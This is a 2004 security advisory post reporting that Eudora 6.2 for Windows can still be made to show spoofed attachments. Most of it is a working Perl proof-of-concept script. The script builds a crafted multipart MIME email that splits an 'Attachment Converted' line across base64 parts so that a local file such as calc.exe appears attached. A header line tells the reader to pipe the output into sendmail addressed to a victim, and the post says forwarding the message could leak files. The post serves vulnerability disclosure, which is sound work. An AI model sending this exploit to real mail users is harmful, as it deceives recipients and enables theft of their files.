Eudora 6.2 attachment spoof

From: Paul Szabo (psz_at_MATHS.USYD.EDU.AU)
Date: 11/13/04

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    Eudora 6.2 (==6.2.0.14) for Windows was released on 8 Nov 04. The release
    notes

      http://www.eudora.com/download/eudora/windows/6.2/RelNotes.txt

    say:

    > SECURITY
    > --------
    > Fixed cases where attachments could be spoofed via base64 or quoted-printable
    > encoded (plain-text, inline) MIME parts.

    Some cases remain un-fixed, as Eudora developers know and admit privately.
    One such example below.

    Cheers,

    Paul Szabo - psz@maths.usyd.edu.au http://www.maths.usyd.edu.au:8000/u/psz/
    School of Mathematics and Statistics University of Sydney 2006 Australia

    #!/usr/bin/perl --

    use MIME::Base64;

    print "From: me\n";
    print "To: you\n";
    print "Subject: Eudora 6.2 on Windows spoof\n";
    print "MIME-Version: 1.0\n";
    print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
    print "X-Use: Pipe the output of this script into: sendmail -i victim\n\n";

    print "--zzz\n";
    print "Content-Type: text/plain\n";
    print "Content-Transfer-Encoding: 7bit\n\n";
    print "With spoofed attachments, we could 'steal' files if the message
    was forwarded (not replied to). Get a warning when stealing arbitrary
    files, but no warning when stealing 'attach\\existing' attachments.\n";

    print "\n--zzz\n";
    print "Content-Type: text/plain; name=\"b1.txt\"\n";
    print "Content-Transfer-Encoding: base64\n";
    print "Content-Disposition: inline; filename=\"b1.txt\"\n\n";
    $z = "Within base64 encoded, use missing linebreak. Part 1 ...\r
    AttachmenXX";
    print encode_base64($z);

    print "\n--zzz\n";
    print "Content-Type: text/plain; name=\"b2.txt\"\n";
    print "Content-Transfer-Encoding: base64\n";
    print "Content-Disposition: inline; filename=\"b2.txt\"\n\n";
    $z = "t Converted: \"c:\\winnt\\system32\\calc.exe\"\r
    ... part 2\r
    BTW, the above shows a parsing bug: missing two characters.\r
    \r\n";
    print encode_base64($z);

    print "\n--zzz--\n";

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